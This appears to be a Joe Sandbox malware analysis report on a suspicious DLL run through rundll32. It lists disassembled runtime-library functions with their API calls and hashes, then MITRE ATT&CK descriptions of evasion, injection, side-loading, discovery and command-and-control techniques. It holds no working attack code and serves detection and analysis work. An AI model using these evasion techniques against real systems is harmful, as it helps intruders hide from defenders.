Opcode Fuzzy Hash: dd154539d9d41bddcf9e1eba0681e41ac35fe033226c42508dd0cd449e4217d3
Instruction Fuzzy Hash: D1E01A34284719B6EF201E60DC05B893FA7AF02B94F305020F90DE81D1EFA5F862D784

Function 6FE725E6 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(3089EAF1,00000000,00000000,?), ref: 6FE72649

Part of subcall function 6FE74945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6FE78E9F,?,00000000,-00000008), ref: 6FE749A6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6FE7289B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6FE728E1
GetLastError.KERNEL32 ref: 6FE72984

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 42727fe5137d33d4b791fa9c3a74bea1b320906961debd27443001f593bf2eb0
Instruction ID: 8095a45bf02032291c2fc078ce36a7b7a7eeef26584e96ff68e491671cc40122
Opcode Fuzzy Hash: 42727fe5137d33d4b791fa9c3a74bea1b320906961debd27443001f593bf2eb0
Instruction Fuzzy Hash: 1FD15975D042599FCB25CFA8C880AEDBFB5FF0A314F28416AE465EB351DA30A942CF50

Function 6FE66883 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6FE6694A
___AdjustPointer.LIBCMT ref: 6FE6696D
___AdjustPointer.LIBCMT ref: 6FE66A09

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 17d42bb6074d86fbf526fa6d9c05a3f59c1f6b77f8463c6c9aa335c3045b296a
Instruction ID: 88696174092024631593abea885fabb79b44483a111c3ccab81d58719f85344d
Opcode Fuzzy Hash: 17d42bb6074d86fbf526fa6d9c05a3f59c1f6b77f8463c6c9aa335c3045b296a
Instruction Fuzzy Hash: AE51AD726A470A9FDB148F65C980BAA7BB5FF46318F30452EDC154F2A0EB31E881C790

Function 6FE73694 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6FE74945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6FE78E9F,?,00000000,-00000008), ref: 6FE749A6

GetLastError.KERNEL32 ref: 6FE736F8
__dosmaperr.LIBCMT ref: 6FE736FF
GetLastError.KERNEL32(?,?,?,?), ref: 6FE73739
__dosmaperr.LIBCMT ref: 6FE73740

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e48c6aecbc81831f4f23525f05d955914fe2954508d7426dba011c17d14bf390
Instruction ID: 18126f119859b3689ac006473de7fbd494d020bcee3466f856d29abaedc52ba2
Opcode Fuzzy Hash: e48c6aecbc81831f4f23525f05d955914fe2954508d7426dba011c17d14bf390
Instruction Fuzzy Hash: F221AFB1604315AF97709FB5C88185BBFA9EF013687208619EA2997780EF31F801CBA0

Function 6FE749E8 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6FE749F0

Part of subcall function 6FE74945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6FE78E9F,?,00000000,-00000008), ref: 6FE749A6

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6FE74A28
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6FE74A48

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 79f797e3f48ac68c8c774c1e9c8c518e9eea323c0ed85f2c3912f26fb8746c72
Instruction ID: 1e5edcb741399a357b0d3046297168e57840fee633daf84ab34bedbe8f8490cf
Opcode Fuzzy Hash: 79f797e3f48ac68c8c774c1e9c8c518e9eea323c0ed85f2c3912f26fb8746c72
Instruction Fuzzy Hash: 8411C8B6505615BF6B3297B64D88C6F6DAEEE862BC730111AF600D1240FF71DD02C275

Function 6FE79F4D Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,6FE6D16B,00000000,00000000,?,6FE785E1,00000000,00000001,?,?,?,6FE729D8,?,00000000,00000000), ref: 6FE79F64
GetLastError.KERNEL32(?,6FE785E1,00000000,00000001,?,?,?,6FE729D8,?,00000000,00000000,?,?,?,6FE72FB2,00000000), ref: 6FE79F70

Part of subcall function 6FE79F36: CloseHandle.KERNEL32(FFFFFFFE,6FE79F80,?,6FE785E1,00000000,00000001,?,?,?,6FE729D8,?,00000000,00000000,?,?), ref: 6FE79F46

___initconout.LIBCMT ref: 6FE79F80

Part of subcall function 6FE79EF8: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6FE79F27,6FE785CE,?,?,6FE729D8,?,00000000,00000000,?), ref: 6FE79F0B

WriteConsoleW.KERNEL32(00000000,00000000,6FE6D16B,00000000,?,6FE785E1,00000000,00000001,?,?,?,6FE729D8,?,00000000,00000000,?), ref: 6FE79F95

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: b9348e2fb66b2324a2e7bb25f924b451862a3191288d1bbc9c0013db23883e82
Instruction ID: d6beec268ffccc74b978b40520719111d467624fe08f9e9305cf44f2af797d58
Opcode Fuzzy Hash: b9348e2fb66b2324a2e7bb25f924b451862a3191288d1bbc9c0013db23883e82
Instruction Fuzzy Hash: 25F0F83A010568BBCF325F918C0899E3FA7EF0B2B1F204020FA2995260CB329820DB91

Function 6FE6C7EE Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6FE6C965

Strings

+, xrefs: 6FE6C8C3
-, xrefs: 6FE6C8B6

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: f256cc07467344d5823d9b5aafbfa4d5866cd55d923b229930bfc182ace8684e
Instruction ID: f4edd4e97d74ccc7eb633de8315e275a71fd755bb8fd6d6089ec5fc460839796
Opcode Fuzzy Hash: f256cc07467344d5823d9b5aafbfa4d5866cd55d923b229930bfc182ace8684e
Instruction Fuzzy Hash: B2A1B331BC525C9EDF14CE7C88507EE7FB1AF4632AF24865AE8A59B390C234E5028B50

Function 6FE66E7F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 6FE66EA4

Strings

MOC, xrefs: 6FE66EB6
RCC, xrefs: 6FE66EBE

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 689a9a75effa35e7ebc78dd6a1819dd5e6257b259dbedd62bb5d7f85eaee53f4
Instruction ID: 108e73fd3cc4478ba8b72a9e6cc868fef34466f5bcc076806b1a731f36138a0b
Opcode Fuzzy Hash: 689a9a75effa35e7ebc78dd6a1819dd5e6257b259dbedd62bb5d7f85eaee53f4
Instruction Fuzzy Hash: 2B41287195020DEFDF05CF94CC80AEE7FB6BF49308F2481A9F914AA251D335A951DB51

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LLD5HDX0PS.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

Windows Analysis Report
LLD5HDX0PS.dll

Function 6BEE1B85 Relevance: 35.3, APIs: 11, Strings: 9, Instructions: 303
fileCOMMONLIBRARYCODE

Function 6BEE4402 Relevance: 31.8, APIs: 9, Strings: 9, Instructions: 260
sleepCOMMONLIBRARYCODE

Function 6BEE192F Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 174
processCOMMONLIBRARYCODE

Function 6BEE4D53 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Function 6BEE4B9C Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Function 6BEF0258 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 6BEF1658 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 6BEE1000 Relevance: 1.5, APIs: 1, Instructions: 12
COMMONLIBRARYCODE